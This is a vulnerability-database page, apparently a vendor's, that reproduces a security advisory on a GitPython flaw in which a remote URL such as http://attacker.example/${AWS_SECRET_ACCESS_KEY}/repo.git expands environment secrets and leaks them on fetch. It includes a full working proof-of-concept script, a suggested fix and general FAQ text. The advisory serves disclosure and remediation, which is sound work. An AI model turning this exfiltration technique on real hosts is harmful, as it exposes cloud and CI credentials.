How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

362,873

Total vulnerabilities in the database

GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573) — GitPython

Exposure of Sensitive Information to an Unauthorized Actor

Summary

The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process's environment secret, written into .git/config, and then transmitted to the attacker's host on the next fetch/pull. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.

Root Cause

Fix commit 8ac5a305 added an expand_vars parameter to Git.polish_url() (default True) and used expand_vars=False only in Repo._clone() (git/repo/base.py:1455). The shared helper's dangerous default was left in place, and the other callers were not updated.

git/remote.py:811, Remote.create:

url = Git.polish_url(url)                 # expand_vars=True -&gt; os.path.expandvars(url)
if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(url)       # https:// carrying the secret passes
repo.git.remote(scmd, &quot;--&quot;, name, url, **kwargs)   # expanded URL written to .git/config

check_unsafe_protocols() runs after expansion here, so it rejects an ext:: payload but does nothing about an https:// URL that carries an expanded secret in its path or host — the disclosure primitive.

The same unguarded call also sits at git/objects/submodule/base.py:611 (Submodule.add), which writes the expanded URL into .gitmodules (a tracked file) and .git/config.

Steps to Reproduce

Prerequisites

Python 3.9+
git on PATH (for the fetch step)
GitPython 3.1.53 (installed below)

Step 1: Install GitPython 3.1.53 in a clean venv

mkdir /tmp/gp-remote-poc &amp;&amp; cd /tmp/gp-remote-poc
python3 -m venv venv
./venv/bin/pip install gitpython==3.1.53

Step 2: Write the PoC

cat &gt; poc.py &lt;&lt;&#039;PYEOF&#039;
#!/usr/bin/env python3
&quot;&quot;&quot;Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.&quot;&quot;&quot;
import http.server
import os
import tempfile
import threading

import git

print(&quot;gitpython version:&quot;, git.__version__)

# Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.
SENTINEL = &quot;leaked-a1b2c3-SENTINEL-do-not-use&quot;
os.environ[&quot;GP_SENTINEL_SECRET&quot;] = SENTINEL

# Local HTTP server standing in for attacker.example.
captured = []


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        captured.append(self.path)
        self.send_response(404)
        self.end_headers()

    def log_message(self, *a):
        pass


srv = http.server.HTTPServer((&quot;127.0.0.1&quot;, 0), Handler)
port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()

# Attacker-controlled URL handed to an &quot;import from URL&quot; feature.
attacker_url = &quot;http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git&quot; % port


def norm(s):  # display the ephemeral listener port as a stable placeholder
    return s.replace(&quot;127.0.0.1:%d&quot; % port, &quot;127.0.0.1:PORT&quot;)


print(&quot;attacker-supplied URL :&quot;, norm(attacker_url))

repo = git.Repo.init(tempfile.mkdtemp(prefix=&quot;gp-victim-&quot;))
remote = repo.create_remote(&quot;evil&quot;, attacker_url)   # public API

stored = repo.remote(&quot;evil&quot;).url
print(&quot;stored remote URL     :&quot;, norm(stored))
print(&quot;SENTINEL in git config:&quot;, SENTINEL in stored)

try:
    remote.fetch()          # transmits the expanded URL to the attacker host
except Exception:
    pass                    # fetch fails after the request is already sent

srv.shutdown()
over_network = any(SENTINEL in p for p in captured)
print(&quot;HTTP paths received   :&quot;, [norm(p) for p in captured])
print(&quot;SENTINEL over network :&quot;, over_network)

print()
if SENTINEL in stored and over_network:
    print(&quot;VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host&quot;)
elif SENTINEL in stored:
    print(&quot;VULNERABLE: env-var expanded into stored git-config URL&quot;)
else:
    print(&quot;not reproduced&quot;)
PYEOF

Step 3: Run it

cd /tmp/gp-remote-poc &amp;&amp; ./venv/bin/python poc.py

Expected output (the listener's ephemeral port is shown as PORT):

gitpython version: 3.1.53
attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git
stored remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git
SENTINEL in git config: True
HTTP paths received   : [&#039;/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack&#039;]
SENTINEL over network : True

VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host

The ${GP_SENTINEL_SECRET} token in the supplied URL is replaced with the environment value both in the stored .git/config URL and in the request that reaches the attacker-controlled host.

Suggested Fix

Pass expand_vars=False at the remaining URL callers, matching the clone fix:

git/remote.py Remote.create: url = Git.polish_url(url, expand_vars=False)
git/objects/submodule/base.py Submodule.add: url = Git.polish_url(url, expand_vars=False)

More robustly, flip the Git.polish_url() default to expand_vars=False (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.

Cleanup

rm -rf /tmp/gp-remote-poc

Impact

Any secret in the hosting process environment (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to Repo.create_remote() / Remote.add(). The secret is expanded into .git/config immediately and transmitted over the network (DNS + HTTP) on the next fetch/pull/remote update. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches .gitmodules (a committable file) via Submodule.add().

Published: Jul 24, 2026
Updated: Jul 25, 2026
GHSA: GHSA-94p4-4cq8-9g67
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWEs:

Affected Software
References

Software	From	Fixed in
GitPython	-	3.1.55

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.